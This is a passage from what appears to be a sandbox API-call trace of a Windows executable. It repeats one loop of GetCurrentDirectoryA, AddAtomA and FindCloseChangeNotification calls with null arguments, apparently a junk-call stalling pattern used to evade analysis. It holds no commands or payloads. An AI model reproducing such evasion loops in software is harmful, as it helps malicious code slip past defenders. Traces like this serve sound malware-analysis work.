lpBuffer="Module32FirstW") returned 0x51 [0094.296] AddAtomA (lpString=0x0) returned 0x0 [0094.296] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.297] AddAtomA (lpString=0x0) returned 0x0 [0094.297] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.297] AddAtomA (lpString=0x0) returned 0x0 [0094.297] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.297] AddAtomA (lpString=0x0) returned 0x0 [0094.297] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.297] AddAtomA (lpString=0x0) returned 0x0 [0094.297] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.297] AddAtomA (lpString=0x0) returned 0x0 [0094.297] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.297] AddAtomA (lpString=0x0) returned 0x0 [0094.297] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.297] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.298] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.298] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.298] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.298] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.298] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.298] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.298] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.298] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.298] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.298] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.298] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.298] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.298] AddAtomA (lpString=0x0) returned 0x0 [0094.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.299] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.299] AddAtomA (lpString=0x0) returned 0x0 [0094.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.299] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.299] AddAtomA (lpString=0x0) returned 0x0 [0094.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.299] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.299] AddAtomA (lpString=0x0) returned 0x0 [0094.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.299] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.299] AddAtomA (lpString=0x0) returned 0x0 [0094.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.299] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.299] AddAtomA (lpString=0x0) returned 0x0 [0094.299] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.299] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.299] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.300] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.300] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.300] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.300] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.300] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.300] AddAtomA (lpString=0x0) returned 0x0 [0094.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.301] AddAtomA (lpString=0x0) returned 0x0 [0094.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.302] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.302] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.303] AddAtomA (lpString=0x0) returned 0x0 [0094.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.304] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.305] AddAtomA (lpString=0x0) returned 0x0 [0094.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.306] AddAtomA (lpString=0x0) returned 0x0 [0094.306] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.306] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.307] AddAtomA (lpString=0x0) returned 0x0 [0094.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.308] AddAtomA (lpString=0x0) returned 0x0 [0094.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.309] AddAtomA (lpString=0x0) returned 0x0 [0094.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.310] AddAtomA (lpString=0x0) returned 0x0 [0094.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.310] GetCurrentDirectoryA (in: nBufferLength=0x0, 